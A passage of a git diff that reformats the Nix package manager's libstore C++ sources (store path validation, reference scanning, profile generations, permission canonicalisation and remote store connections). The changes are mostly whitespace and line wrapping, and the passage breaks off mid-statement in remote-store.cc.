(refs.count(path)) { + hasSelfReference = true; + refs.erase(path); + } + return FixedOutputInfo{ + .method = ca->method.getFileIngestionMethod(), + .hash = ca->hash, + .references = + { .others = std::move(refs), .self = hasSelfReference, }, - }; - } + }; + } } } @@ -82,7 +77,7 @@ bool ValidPathInfo::isContentAddressed(const Store & store) const { auto fullCaOpt = contentAddressWithReferences(); - if (! fullCaOpt) + if (!fullCaOpt) return false; auto caPath = store.makeFixedOutputPathFromCA(path.name(), *fullCaOpt); @@ -95,10 +90,10 @@ bool ValidPathInfo::isContentAddressed(const Store & store) const return res; } - size_t ValidPathInfo::checkSignatures(const Store & store, const PublicKeys & publicKeys) const { - if (isContentAddressed(store)) return maxSigs; + if (isContentAddressed(store)) + return maxSigs; size_t good = 0; for (auto & sig : sigs) @@ -107,13 +102,11 @@ size_t ValidPathInfo::checkSignatures(const Store & store, const PublicKeys & pu return good; } - bool ValidPathInfo::checkSignature(const Store & store, const PublicKeys & publicKeys, const std::string & sig) const { return verifyDetached(fingerprint(store), sig, publicKeys); } - Strings ValidPathInfo::shortRefs() const { Strings refs; @@ -123,34 +116,27 @@ Strings ValidPathInfo::shortRefs() const } ValidPathInfo::ValidPathInfo( - const Store & store, - std::string_view name, - ContentAddressWithReferences && ca, - Hash narHash) - : UnkeyedValidPathInfo(narHash) - , path(store.makeFixedOutputPathFromCA(name, ca)) + const Store & store, std::string_view name, ContentAddressWithReferences && ca, Hash narHash) + : UnkeyedValidPathInfo(narHash) + , path(store.makeFixedOutputPathFromCA(name, ca)) { - this->ca = ContentAddress { + this->ca = ContentAddress{ .method = ca.getMethod(), .hash = ca.getHash(), }; - std::visit(overloaded { - [this](TextInfo && ti) { - this->references = std::move(ti.references); + std::visit( + overloaded{ + [this](TextInfo && ti) { this->references = std::move(ti.references); }, + [this](FixedOutputInfo && foi) { + this->references = std::move(foi.references.others); + if (foi.references.self) + this->references.insert(path); + }, }, - [this](FixedOutputInfo && foi) { - this->references = std::move(foi.references.others); - if (foi.references.self) - this->references.insert(path); - }, - }, std::move(ca).raw); + std::move(ca).raw); } - -nlohmann::json UnkeyedValidPathInfo::toJSON( - const Store & store, - bool includeImpureInfo, - HashFormat hashFormat) const +nlohmann::json UnkeyedValidPathInfo::toJSON(const Store & store, bool includeImpureInfo, HashFormat hashFormat) const { using nlohmann::json; @@ -165,12 +151,12 @@ nlohmann::json UnkeyedValidPathInfo::toJSON( jsonRefs.emplace_back(store.printStorePath(ref)); } - jsonObject["ca"] = ca ? (std::optional { renderContentAddress(*ca) }) : std::nullopt; + jsonObject["ca"] = ca ? (std::optional{renderContentAddress(*ca)}) : std::nullopt; if (includeImpureInfo) { - jsonObject["deriver"] = deriver ? (std::optional { store.printStorePath(*deriver) }) : std::nullopt; + jsonObject["deriver"] = deriver ? (std::optional{store.printStorePath(*deriver)}) : std::nullopt; - jsonObject["registrationTime"] = registrationTime ? (std::optional { registrationTime }) : std::nullopt; + jsonObject["registrationTime"] = registrationTime ? (std::optional{registrationTime}) : std::nullopt; jsonObject["ultimate"] = ultimate; @@ -182,11 +168,9 @@ nlohmann::json UnkeyedValidPathInfo::toJSON( return jsonObject; } -UnkeyedValidPathInfo UnkeyedValidPathInfo::fromJSON( - const Store & store, - const nlohmann::json & _json) +UnkeyedValidPathInfo UnkeyedValidPathInfo::fromJSON(const Store & store, const nlohmann::json & _json) { - UnkeyedValidPathInfo res { + UnkeyedValidPathInfo res{ Hash(Hash::dummy), }; @@ -197,8 +181,7 @@ UnkeyedValidPathInfo UnkeyedValidPathInfo::fromJSON( try { auto references = getStringList(valueAt(json, "references")); for (auto & input : references) - res.references.insert(store.parseStorePath(static_cast -(input))); + res.references.insert(store.parseStorePath(static_cast(input))); } catch (Error & e) { e.addTrace({}, "while reading key 'references'"); throw; diff --git a/src/libstore/path-references.cc b/src/libstore/path-references.cc index c06647eb1..a1f5d5c56 100644 --- a/src/libstore/path-references.cc +++ b/src/libstore/path-references.cc @@ -7,14 +7,13 @@ #include #include - namespace nix { - PathRefScanSink::PathRefScanSink(StringSet && hashes, std::map && backMap) : RefScanSink(std::move(hashes)) , backMap(std::move(backMap)) -{ } +{ +} PathRefScanSink PathRefScanSink::fromPaths(const StorePathSet & refs) { @@ -44,24 +43,18 @@ StorePathSet PathRefScanSink::getResultPaths() return found; } - -std::pair scanForReferences( - const std::string & path, - const StorePathSet & refs) +std::pair scanForReferences(const std::string & path, const StorePathSet & refs) { - HashSink hashSink { HashAlgorithm::SHA256 }; + HashSink hashSink{HashAlgorithm::SHA256}; auto found = scanForReferences(hashSink, path, refs); auto hash = hashSink.finish(); return std::pair(found, hash); } -StorePathSet scanForReferences( - Sink & toTee, - const Path & path, - const StorePathSet & refs) +StorePathSet scanForReferences(Sink & toTee, const Path & path, const StorePathSet & refs) { PathRefScanSink refsSink = PathRefScanSink::fromPaths(refs); - TeeSink sink { refsSink, toTee }; + TeeSink sink{refsSink, toTee}; /* Look for the hashes in the NAR dump of the path. */ dumpPath(path, sink); diff --git a/src/libstore/path-with-outputs.cc b/src/libstore/path-with-outputs.cc index 9fbbc8f46..68e1062c0 100644 --- a/src/libstore/path-with-outputs.cc +++ b/src/libstore/path-with-outputs.cc @@ -4,101 +4,96 @@ #include "nix/store/store-api.hh" #include "nix/util/strings.hh" - namespace nix { std::string StorePathWithOutputs::to_string(const StoreDirConfig & store) const { - return outputs.empty() - ? store.printStorePath(path) - : store.printStorePath(path) + "!" + concatStringsSep(",", outputs); + return outputs.empty() ? store.printStorePath(path) + : store.printStorePath(path) + "!" + concatStringsSep(",", outputs); } - DerivedPath StorePathWithOutputs::toDerivedPath() const { if (!outputs.empty()) { - return DerivedPath::Built { + return DerivedPath::Built{ .drvPath = makeConstantStorePathRef(path), - .outputs = OutputsSpec::Names { outputs }, + .outputs = OutputsSpec::Names{outputs}, }; } else if (path.isDerivation()) { assert(outputs.empty()); - return DerivedPath::Built { + return DerivedPath::Built{ .drvPath = makeConstantStorePathRef(path), - .outputs = OutputsSpec::All { }, + .outputs = OutputsSpec::All{}, }; } else { - return DerivedPath::Opaque { path }; + return DerivedPath::Opaque{path}; } } - std::vector toDerivedPaths(const std::vector ss) { std::vector reqs; reqs.reserve(ss.size()); - for (auto & s : ss) reqs.push_back(s.toDerivedPath()); + for (auto & s : ss) + reqs.push_back(s.toDerivedPath()); return reqs; } - StorePathWithOutputs::ParseResult StorePathWithOutputs::tryFromDerivedPath(const DerivedPath & p) { - return std::visit(overloaded { - [&](const DerivedPath::Opaque & bo) -> StorePathWithOutputs::ParseResult { - if (bo.path.isDerivation()) { - // drv path gets interpreted as "build", not "get drv file itself" - return bo.path; - } - return StorePathWithOutputs { bo.path }; + return std::visit( + overloaded{ + [&](const DerivedPath::Opaque & bo) -> StorePathWithOutputs::ParseResult { + if (bo.path.isDerivation()) { + // drv path gets interpreted as "build", not "get drv file itself" + return bo.path; + } + return StorePathWithOutputs{bo.path}; + }, + [&](const DerivedPath::Built & bfd) -> StorePathWithOutputs::ParseResult { + return std::visit( + overloaded{ + [&](const SingleDerivedPath::Opaque & bo) -> StorePathWithOutputs::ParseResult { + return StorePathWithOutputs{ + .path = bo.path, + // Use legacy encoding of wildcard as empty set + .outputs = std::visit( + overloaded{ + [&](const OutputsSpec::All &) -> StringSet { return {}; }, + [&](const OutputsSpec::Names & outputs) { + return static_cast(outputs); + }, + }, + bfd.outputs.raw), + }; + }, + [&](const SingleDerivedPath::Built &) -> StorePathWithOutputs::ParseResult { + return std::monostate{}; + }, + }, + bfd.drvPath->raw()); + }, }, - [&](const DerivedPath::Built & bfd) -> StorePathWithOutputs::ParseResult { - return std::visit(overloaded { - [&](const SingleDerivedPath::Opaque & bo) -> StorePathWithOutputs::ParseResult { - return StorePathWithOutputs { - .path = bo.path, - // Use legacy encoding of wildcard as empty set - .outputs = std::visit(overloaded { - [&](const OutputsSpec::All &) -> StringSet { - return {}; - }, - [&](const OutputsSpec::Names & outputs) { - return static_cast(outputs); - }, - }, bfd.outputs.raw), - }; - }, - [&](const SingleDerivedPath::Built &) -> StorePathWithOutputs::ParseResult { - return std::monostate {}; - }, - }, bfd.drvPath->raw()); - }, - }, p.raw()); + p.raw()); } - std::pair parsePathWithOutputs(std::string_view s) { size_t n = s.find("!"); - return n == s.npos - ? std::make_pair(s, std::set()) - : std::make_pair(s.substr(0, n), - tokenizeString>(s.substr(n + 1), ",")); + return n == s.npos ? std::make_pair(s, std::set()) + : std::make_pair(s.substr(0, n), tokenizeString>(s.substr(n + 1), ",")); } - StorePathWithOutputs parsePathWithOutputs(const StoreDirConfig & store, std::string_view pathWithOutputs) { auto [path, outputs] = parsePathWithOutputs(pathWithOutputs); - return StorePathWithOutputs { store.parseStorePath(path), std::move(outputs) }; + return StorePathWithOutputs{store.parseStorePath(path), std::move(outputs)}; } - StorePathWithOutputs followLinksToStorePathWithOutputs(const Store & store, std::string_view pathWithOutputs) { auto [path, outputs] = parsePathWithOutputs(pathWithOutputs); - return StorePathWithOutputs { store.followLinksToStorePath(path), std::move(outputs) }; + return StorePathWithOutputs{store.followLinksToStorePath(path), std::move(outputs)}; } } diff --git a/src/libstore/path.cc b/src/libstore/path.cc index 5dd1a1699..cd2cd6de6 100644 --- a/src/libstore/path.cc +++ b/src/libstore/path.cc @@ -14,19 +14,19 @@ void checkName(std::string_view name) if (name.size() == 1) throw BadStorePathName("name '%s' is not valid", name); if (name[1] == '-') - throw BadStorePathName("name '%s' is not valid: first dash-separated component must not be '%s'", name, "."); + throw BadStorePathName( + "name '%s' is not valid: first dash-separated component must not be '%s'", name, "."); if (name[1] == '.') { if (name.size() == 2) throw BadStorePathName("name '%s' is not valid", name); if (name[2] == '-') - throw BadStorePathName("name '%s' is not valid: first dash-separated component must not be '%s'", name, ".."); + throw BadStorePathName( + "name '%s' is not valid: first dash-separated component must not be '%s'", name, ".."); } } for (auto c : name) - if (!((c >= '0' && c <= '9') - || (c >= 'a' && c <= 'z') - || (c >= 'A' && c <= 'Z') - || c == '+' || c == '-' || c == '.' || c == '_' || c == '?' || c == '=')) + if (!((c >= '0' && c <= '9') || (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || c == '+' || c == '-' + || c == '.' || c == '_' || c == '?' || c == '=')) throw BadStorePathName("name '%s' contains illegal character '%s'", name, c); } @@ -45,8 +45,7 @@ StorePath::StorePath(std::string_view _baseName) if (baseName.size() < HashLen + 1) throw BadStorePath("'%s' is too short to be a valid store path", baseName); for (auto c : hashPart()) - if (c == 'e' || c == 'o' || c == 'u' || c == 't' - || !((c >= '0' && c <= '9') || (c >= 'a' && c <= 'z'))) + if (c == 'e' || c == 'o' || c == 'u' || c == 't' || !((c >= '0' && c <= '9') || (c >= 'a' && c <= 'z'))) throw BadStorePath("store path '%s' contains illegal base-32 character '%s'", baseName, c); checkPathName(baseName, name()); } @@ -111,7 +110,8 @@ bool StoreDirConfig::isStorePath(std::string_view path) const StorePathSet StoreDirConfig::parseStorePathSet(const PathSet & paths) const { StorePathSet res; - for (auto & i : paths) res.insert(parseStorePath(i)); + for (auto & i : paths) + res.insert(parseStorePath(i)); return res; } @@ -123,7 +123,8 @@ std::string StoreDirConfig::printStorePath(const StorePath & path) const PathSet StoreDirConfig::printStorePathSet(const StorePathSet & paths) const { PathSet res; - for (auto & i : paths) res.insert(printStorePath(i)); + for (auto & i : paths) + res.insert(printStorePath(i)); return res; } diff --git a/src/libstore/pathlocks.cc b/src/libstore/pathlocks.cc index 34acfb02d..3ab127fc3 100644 --- a/src/libstore/pathlocks.cc +++ b/src/libstore/pathlocks.cc @@ -6,7 +6,6 @@ #include #include - namespace nix { PathLocks::PathLocks() @@ -14,14 +13,12 @@ PathLocks::PathLocks() { } - PathLocks::PathLocks(const PathSet & paths, const std::string & waitMsg) : deletePaths(false) { lockPaths(paths, waitMsg); } - PathLocks::~PathLocks() { try { @@ -31,11 +28,9 @@ PathLocks::~PathLocks() } } - void PathLocks::setDeletion(bool deletePaths) { this->deletePaths = deletePaths; } - } diff --git a/src/libstore/posix-fs-canonicalise.cc b/src/libstore/posix-fs-canonicalise.cc index aeb35eab5..061980452 100644 --- a/src/libstore/posix-fs-canonicalise.cc +++ b/src/libstore/posix-fs-canonicalise.cc @@ -8,14 +8,13 @@ #include "store-config-private.hh" #if NIX_SUPPORT_ACL -# include +# include #endif namespace nix { const time_t mtimeStore = 1; /* 1 second into the epoch */ - static void canonicaliseTimestampAndPermissions(const Path & path, const struct stat & st) { if (!S_ISLNK(st.st_mode)) { @@ -24,31 +23,25 @@ static void canonicaliseTimestampAndPermissions(const Path & path, const struct mode_t mode = st.st_mode & ~S_IFMT; if (mode != 0444 && mode != 0555) { - mode = (st.st_mode & S_IFMT) - | 0444 - | (st.st_mode & S_IXUSR ? 0111 : 0); + mode = (st.st_mode & S_IFMT) | 0444 | (st.st_mode & S_IXUSR ? 0111 : 0); if (chmod(path.c_str(), mode) == -1) throw SysError("changing mode of '%1%' to %2$o", path, mode); } - } #ifndef _WIN32 // TODO implement if (st.st_mtime != mtimeStore) { struct stat st2 = st; - st2.st_mtime = mtimeStore, - setWriteTime(path, st2); + st2.st_mtime = mtimeStore, setWriteTime(path, st2); } #endif } - void canonicaliseTimestampAndPermissions(const Path & path) { canonicaliseTimestampAndPermissions(path, lstat(path)); } - static void canonicalisePathMetaData_( const Path & path, #ifndef _WIN32 @@ -87,12 +80,13 @@ static void canonicalisePathMetaData_( if ((eaSize = llistxattr(path.c_str(), eaBuf.data(), eaBuf.size())) < 0) throw SysError("querying extended attributes of '%s'", path); - for (auto & eaName: tokenizeString(std::string(eaBuf.data(), eaSize), std::string("\000", 1))) { - if (settings.ignoredAcls.get().count(eaName)) continue; + for (auto & eaName : tokenizeString(std::string(eaBuf.data(), eaSize), std::string("\000", 1))) { + if (settings.ignoredAcls.get().count(eaName)) + continue; if (lremovexattr(path.c_str(), eaName.c_str()) == -1) throw SysError("removing extended attribute '%s' from '%s'", eaName, path); } - } + } #endif #ifndef _WIN32 @@ -106,7 +100,9 @@ static void canonicalisePathMetaData_( if (S_ISDIR(st.st_mode) || !inodesSeen.count(Inode(st.st_dev, st.st_ino))) throw BuildError("invalid ownership on file '%1%'", path); mode_t mode = st.st_mode & ~S_IFMT; - assert(S_ISLNK(st.st_mode) || (st.st_uid == geteuid() && (mode == 0444 || mode == 0555) && st.st_mtime == mtimeStore)); + assert( + S_ISLNK(st.st_mode) + || (st.st_uid == geteuid() && (mode == 0444 || mode == 0555) && st.st_mtime == mtimeStore)); return; } #endif @@ -124,14 +120,12 @@ static void canonicalisePathMetaData_( store (since that directory is group-writable for the Nix build users group); we check for this case below. */ if (st.st_uid != geteuid()) { -#if HAVE_LCHOWN +# if HAVE_LCHOWN if (lchown(path.c_str(), geteuid(), getegid()) == -1) -#else - if (!S_ISLNK(st.st_mode) && - chown(path.c_str(), geteuid(), getegid()) == -1) -#endif - throw SysError("changing owner of '%1%' to %2%", - path, geteuid()); +# else + if (!S_ISLNK(st.st_mode) && chown(path.c_str(), geteuid(), getegid()) == -1) +# endif + throw SysError("changing owner of '%1%' to %2%", path, geteuid()); } #endif @@ -148,7 +142,6 @@ static void canonicalisePathMetaData_( } } - void canonicalisePathMetaData( const Path & path, #ifndef _WIN32 @@ -175,12 +168,13 @@ void canonicalisePathMetaData( #endif } - -void canonicalisePathMetaData(const Path & path +void canonicalisePathMetaData( + const Path & path #ifndef _WIN32 - , std::optional> uidRange + , + std::optional> uidRange #endif - ) +) { InodesSeen inodesSeen; canonicalisePathMetaData_( diff --git a/src/libstore/profiles.cc b/src/libstore/profiles.cc index bd24332cb..07e0128ec 100644 --- a/src/libstore/profiles.cc +++ b/src/libstore/profiles.cc @@ -10,27 +10,26 @@ #include #include - namespace nix { - /** * Parse a generation name of the format * `--link'. */ static std::optional parseName(const std::string & profileName, const std::string & name) { - if (name.substr(0, profileName.size() + 1) != profileName + "-") return {}; + if (name.substr(0, profileName.size() + 1) != profileName + "-") + return {}; auto s = name.substr(profileName.size() + 1); auto p = s.find("-link"); - if (p == std::string::npos) return {}; + if (p == std::string::npos) + return {}; if (auto n = string2Int(s.substr(0, p))) return *n; else return {}; } - std::pair> findGenerations(Path profile) { Generations gens; @@ -42,28 +41,15 @@ std::pair> findGenerations(Path pro checkInterrupt(); if (auto n = parseName(profileName, i.path().filename().string())) { auto path = i.path().string(); - gens.push_back({ - .number = *n, - .path = path, - .creationTime = lstat(path).st_mtime - }); + gens.push_back({.number = *n, .path = path, .creationTime = lstat(path).st_mtime}); } } - gens.sort([](const Generation & a, const Generation & b) - { - return a.number < b.number; - }); + gens.sort([](const Generation & a, const Generation & b) { return a.number < b.number; }); - return { - gens, - pathExists(profile) - ? parseName(profileName, readLink(profile)) - : std::nullopt - }; + return {gens, pathExists(profile) ? parseName(profileName, readLink(profile)) : std::nullopt}; } - /** * Create a generation name that can be parsed by `parseName()`. */ @@ -72,7 +58,6 @@ static Path makeName(const Path & profile, GenerationNumber num) return fmt("%s-%s-link", profile, num); } - Path createGeneration(LocalFSStore & store, Path profile, StorePath outPath) { /* The new generation number should be higher than old the @@ -110,14 +95,12 @@ Path createGeneration(LocalFSStore & store, Path profile, StorePath outPath) return generation; } - static void removeFile(const Path & path) { if (remove(path.c_str()) == -1) throw SysError("cannot unlink '%1%'", path); } - void deleteGeneration(const Path & profile, GenerationNumber gen) { Path generation = makeName(profile, gen); @@ -143,7 +126,6 @@ static void deleteGeneration2(const Path & profile, GenerationNumber gen, bool d } } - void deleteGenerations(const Path & profile, const std::set & gensToDelete, bool dryRun) { PathLocks lock; @@ -155,7 +137,8 @@ void deleteGenerations(const Path & profile, const std::set & throw Error("cannot delete current version of profile %1%'", profile); for (auto & i : gens) { - if (!gensToDelete.count(i.number)) continue; + if (!gensToDelete.count(i.number)) + continue; deleteGeneration2(profile, i.number, dryRun); } } @@ -165,7 +148,8 @@ void deleteGenerations(const Path & profile, const std::set & */ static inline void iterDropUntil(Generations & gens, auto && i, auto && cond) { - for (; i != gens.rend() && !cond(*i); ++i); + for (; i != gens.rend() && !cond(*i); ++i) + ; } void deleteGenerationsGreaterThan(const Path & profile, GenerationNumber max, bool dryRun) @@ -185,7 +169,8 @@ void deleteGenerationsGreaterThan(const Path & profile, GenerationNumber max, bo iterDropUntil(gens, i, [&](auto & g) { return g.number == curGen; }); // Skip over `max` generations, preserving them - for (GenerationNumber keep = 0; i != gens.rend() && keep < max; ++i, ++keep); + for (GenerationNumber keep = 0; i != gens.rend() && keep < max; ++i, ++keep) + ; // Delete the rest for (; i != gens.rend(); ++i) @@ -204,7 +189,6 @@ void deleteOldGenerations(const Path & profile, bool dryRun) deleteGeneration2(profile, i.number, dryRun); } - void deleteGenerationsOlderThan(const Path & profile, time_t t, bool dryRun) { PathLocks lock; @@ -225,7 +209,8 @@ void deleteGenerationsOlderThan(const Path & profile, time_t t, bool dryRun) We don't want delete this one yet because it existed at the requested point in time, and we want to be able to roll back to it. */ - if (i != gens.rend()) ++i; + if (i != gens.rend()) + ++i; // Delete all previous generations (unless current). for (; i != gens.rend(); ++i) { @@ -237,7 +222,6 @@ void deleteGenerationsOlderThan(const Path & profile, time_t t, bool dryRun) } } - time_t parseOlderThanTimeSpec(std::string_view timeSpec) { if (timeSpec.empty() || timeSpec[timeSpec.size() - 1] != 'd') @@ -253,20 +237,16 @@ time_t parseOlderThanTimeSpec(std::string_view timeSpec) return curTime - *days * 24 * 3600; } - void switchLink(Path link, Path target) { /* Hacky. */ - if (dirOf(target) == dirOf(link)) target = baseNameOf(target); + if (dirOf(target) == dirOf(link)) + target = baseNameOf(target); replaceSymlink(target, link); } - -void switchGeneration( - const Path & profile, - std::optional dstGen, - bool dryRun) +void switchGeneration(const Path & profile, std::optional dstGen, bool dryRun) { PathLocks lock; lockProfile(lock, profile); @@ -275,8 +255,7 @@ void switchGeneration( std::optional dst; for (auto & i : gens) - if ((!dstGen && i.number < curGen) || - (dstGen && i.number == *dstGen)) + if ((!dstGen && i.number < curGen) || (dstGen && i.number == *dstGen)) dst = i; if (!dst) { @@ -288,31 +267,26 @@ void switchGeneration( notice("switching profile from version %d to %d", curGen.value_or(0), dst->number); - if (dryRun) return; + if (dryRun) + return; switchLink(profile, dst->path); } - void lockProfile(PathLocks & lock, const Path & profile) { lock.lockPaths({profile}, fmt("waiting for lock on profile '%1%'", profile)); lock.setDeletion(true); } - std::string optimisticLockProfile(const Path & profile) { return pathExists(profile) ? readLink(profile) : ""; } - Path profilesDir() { - auto profileRoot = - isRootUser() - ? rootProfilesDir() - : createNixStateDir() + "/profiles"; + auto profileRoot = isRootUser() ? rootProfilesDir() : createNixStateDir() + "/profiles"; createDirs(profileRoot); return profileRoot; } @@ -322,7 +296,6 @@ Path rootProfilesDir() return settings.nixStateDir + "/profiles/per-user/root"; } - Path getDefaultProfile() { Path profileLink = settings.useXDGBaseDirectories ? createNixStateDir() + "/profile" : getHome() + "/.nix-profile"; diff --git a/src/libstore/realisation.cc b/src/libstore/realisation.cc index 635fb6946..274444b51 100644 --- a/src/libstore/realisation.cc +++ b/src/libstore/realisation.cc @@ -8,18 +8,20 @@ namespace nix { MakeError(InvalidDerivationOutputId, Error); -DrvOutput DrvOutput::parse(const std::string &strRep) { +DrvOutput DrvOutput::parse(const std::string & strRep) +{ size_t n = strRep.find("!"); if (n == strRep.npos) throw InvalidDerivationOutputId("Invalid derivation output id %s", strRep); return DrvOutput{ .drvHash = Hash::parseAnyPrefixed(strRep.substr(0, n)), - .outputName = strRep.substr(n+1), + .outputName = strRep.substr(n + 1), }; } -std::string DrvOutput::to_string() const { +std::string DrvOutput::to_string() const +{ return strHash() + "!" + outputName; } @@ -32,23 +34,21 @@ std::set Realisation::closure(Store & store, const std::set & startOutputs, std::set & res) { - auto getDeps = [&](const Realisation& current) -> std::set { + auto getDeps = [&](const Realisation & current) -> std::set { std::set res; - for (auto& [currentDep, _] : current.dependentRealisations) { + for (auto & [currentDep, _] : current.dependentRealisations) { if (auto currentRealisation = store.queryRealisation(currentDep)) res.insert(*currentRealisation); else - throw Error( - "Unrealised derivation '%s'", currentDep.to_string()); + throw Error("Unrealised derivation '%s'", currentDep.to_string()); } return res; }; computeClosure( - startOutputs, res, - [&](const Realisation& current, - std::function>&)> - processEdges) { + startOutputs, + res, + [&](const Realisation & current, std::function> &)> processEdges) { std::promise> promise; try { auto res = getDeps(current); @@ -60,7 +60,8 @@ void Realisation::closure(Store & store, const std::set & startOutp }); } -nlohmann::json Realisation::toJSON() const { +nlohmann::json Realisation::toJSON() const +{ auto jsonDependentRealisations = nlohmann::json::object(); for (auto & [depId, depOutPath] : dependentRealisations) jsonDependentRealisations.emplace(depId.to_string(), depOutPath.to_string()); @@ -72,9 +73,8 @@ nlohmann::json Realisation::toJSON() const { }; } -Realisation Realisation::fromJSON( - const nlohmann::json& json, - const std::string& whence) { +Realisation Realisation::fromJSON(const nlohmann::json & json, const std::string & whence) +{ auto getOptionalField = [&](std::string fieldName) -> std::optional { auto fieldIterator = json.find(fieldName); if (fieldIterator == json.end()) @@ -85,16 +85,14 @@ Realisation Realisation::fromJSON( if (auto field = getOptionalField(fieldName)) return *field; else - throw Error( - "Drv output info file '%1%' is corrupt, missing field %2%", - whence, fieldName); + throw Error("Drv output info file '%1%' is corrupt, missing field %2%", whence, fieldName); }; StringSet signatures; if (auto signaturesIterator = json.find("signatures"); signaturesIterator != json.end()) signatures.insert(signaturesIterator->begin(), signaturesIterator->end()); - std::map dependentRealisations; + std::map dependentRealisations; if (auto jsonDependencies = json.find("dependentRealisations"); jsonDependencies != json.end()) for (auto & [jsonDepId, jsonDepOutPath] : jsonDependencies->get>()) dependentRealisations.insert({DrvOutput::parse(jsonDepId), StorePath(jsonDepOutPath)}); @@ -114,7 +112,7 @@ std::string Realisation::fingerprint() const return serialized.dump(); } -void Realisation::sign(const Signer &signer) +void Realisation::sign(const Signer & signer) { signatures.insert(signer.signDetached(fingerprint())); } @@ -137,11 +135,10 @@ size_t Realisation::checkSignatures(const PublicKeys & publicKeys) const return good; } - -SingleDrvOutputs filterDrvOutputs(const OutputsSpec& wanted, SingleDrvOutputs&& outputs) +SingleDrvOutputs filterDrvOutputs(const OutputsSpec & wanted, SingleDrvOutputs && outputs) { SingleDrvOutputs ret = std::move(outputs); - for (auto it = ret.begin(); it != ret.end(); ) { + for (auto it = ret.begin(); it != ret.end();) { if (!wanted.contains(it->first)) it = ret.erase(it); else @@ -150,13 +147,14 @@ SingleDrvOutputs filterDrvOutputs(const OutputsSpec& wanted, SingleDrvOutputs&& return ret; } -StorePath RealisedPath::path() const { +StorePath RealisedPath::path() const +{ return std::visit([](auto && arg) { return arg.getPath(); }, raw); } bool Realisation::isCompatibleWith(const Realisation & other) const { - assert (id == other.id); + assert(id == other.id); if (outPath == other.outPath) { if (dependentRealisations.empty() != other.dependentRealisations.empty()) { warn( @@ -172,27 +170,24 @@ bool Realisation::isCompatibleWith(const Realisation & other) const return false; } -void RealisedPath::closure( - Store& store, - const RealisedPath::Set& startPaths, - RealisedPath::Set& ret) +void RealisedPath::closure(Store & store, const RealisedPath::Set & startPaths, RealisedPath::Set & ret) { // FIXME: This only builds the store-path closure, not the real realisation // closure StorePathSet initialStorePaths, pathsClosure; - for (auto& path : startPaths) + for (auto & path : startPaths) initialStorePaths.insert(path.path()); store.computeFSClosure(initialStorePaths, pathsClosure); ret.insert(startPaths.begin(), startPaths.end()); ret.insert(pathsClosure.begin(), pathsClosure.end()); } -void RealisedPath::closure(Store& store, RealisedPath::Set & ret) const +void RealisedPath::closure(Store & store, RealisedPath::Set & ret) const { RealisedPath::closure(store, {*this}, ret); } -RealisedPath::Set RealisedPath::closure(Store& store) const +RealisedPath::Set RealisedPath::closure(Store & store) const { RealisedPath::Set ret; closure(store, ret); diff --git a/src/libstore/remote-fs-accessor.cc b/src/libstore/remote-fs-accessor.cc index fdbe12fa9..c51862af7 100644 --- a/src/libstore/remote-fs-accessor.cc +++ b/src/libstore/remote-fs-accessor.cc @@ -58,7 +58,8 @@ std::pair, CanonPath> RemoteFSAccessor::fetch(const CanonPat throw InvalidPath("path '%1%' is not a valid store path", store->printStorePath(storePath)); auto i = nars.find(std::string(storePath.hashPart())); - if (i != nars.end()) return {i->second, restPath}; + if (i != nars.end()) + return {i->second, restPath}; std::string listing; Path cacheFile; @@ -68,36 +69,38 @@ std::pair, CanonPath> RemoteFSAccessor::fetch(const CanonPat try { listing = nix::readFile(makeCacheFile(storePath.hashPart(), "ls")); - auto narAccessor = makeLazyNarAccessor(listing, - [cacheFile](uint64_t offset, uint64_t length) { - - AutoCloseFD fd = toDescriptor(open(cacheFile.c_str(), O_RDONLY - #ifndef _WIN32 + auto narAccessor = makeLazyNarAccessor(listing, [cacheFile](uint64_t offset, uint64_t length) { + AutoCloseFD fd = toDescriptor(open( + cacheFile.c_str(), + O_RDONLY +#ifndef _WIN32 | O_CLOEXEC - #endif - )); - if (!fd) - throw SysError("opening NAR cache file '%s'", cacheFile); +#endif + )); + if (!fd) + throw SysError("opening NAR cache file '%s'", cacheFile); - if (lseek(fromDescriptorReadOnly(fd.get()), offset, SEEK_SET) != (off_t) offset) - throw SysError("seeking in '%s'", cacheFile); + if (lseek(fromDescriptorReadOnly(fd.get()), offset, SEEK_SET) != (off_t) offset) + throw SysError("seeking in '%s'", cacheFile); - std::string buf(length, 0); - readFull(fd.get(), buf.data(), length); + std::string buf(length, 0); + readFull(fd.get(), buf.data(), length); - return buf; - }); + return buf; + }); nars.emplace(storePath.hashPart(), narAccessor); return {narAccessor, restPath}; - } catch (SystemError &) { } + } catch (SystemError &) { + } try { auto narAccessor = makeNarAccessor(nix::readFile(cacheFile)); nars.emplace(storePath.hashPart(), narAccessor); return {narAccessor, restPath}; - } catch (SystemError &) { } + } catch (SystemError &) { + } } StringSink sink; diff --git a/src/libstore/remote-store.cc b/src/libstore/remote-store.cc index 8f110ce7c..9876e26a9 100644 --- a/src/libstore/remote-store.cc +++ b/src/libstore/remote-store.cc @@ -27,30 +27,29 @@ namespace nix { RemoteStore::RemoteStore(const Params & params) : RemoteStoreConfig(params) , Store(params) - , connections(make_ref>( - std::max(1, maxConnections.get()), - [this]() { - auto conn = openConnectionWrapper(); - try { - initConnection(*conn); - } catch (...) { - failed = true; - throw; - } - return conn; - }, - [this](const ref & r) { - return - r->to.good() - && r->from.good() - && std::chrono::duration_cast( - std::chrono::steady_clock::now() - r->startTime).count() < maxConnectionAge; - } - )) + , connections( + make_ref>( + std::max(1, maxConnections.get()), + [this]() { + auto conn = openConnectionWrapper(); + try { + initConnection(*conn); + } catch (...) { + failed = true; + throw; + } + return conn; + }, + [this](const ref & r) { + return r->to.good() && r->from.good() + && std::chrono::duration_cast( + std::chrono::steady_clock::now() - r->startTime) + .count() + < maxConnectionAge; + })) { } - ref RemoteStore::openConnectionWrapper() { if (failed) @@ -63,7 +62,6 @@ ref RemoteStore::openConnectionWrapper() } } - void RemoteStore::initConnection(Connection & conn) { /* Send the magic greeting, check for the reply. */ @@ -73,9 +71,8 @@ void RemoteStore::initConnection(Connection & conn) StringSink saved; TeeSource tee(conn.from, saved); try { - auto [protoVersion, features] = WorkerProto::BasicClientConnection::handshake( - conn.to, tee, PROTOCOL_VERSION, - WorkerProto::allFeatures); + auto [protoVersion, features] = + WorkerProto::BasicClientConnection::handshake(conn.to, tee, PROTOCOL_VERSION, WorkerProto::allFeatures); conn.protoVersion = protoVersion; conn.features = features; } catch (SerialisationError & e) { @@ -95,31 +92,22 @@ void RemoteStore::initConnection(Connection & conn) debug("negotiated feature '%s'", feature); auto ex = conn.processStderrReturn(); - if (ex) std::rethrow_exception(ex); - } - catch (Error & e) { + if (ex) + std::rethrow_exception(ex); + } catch 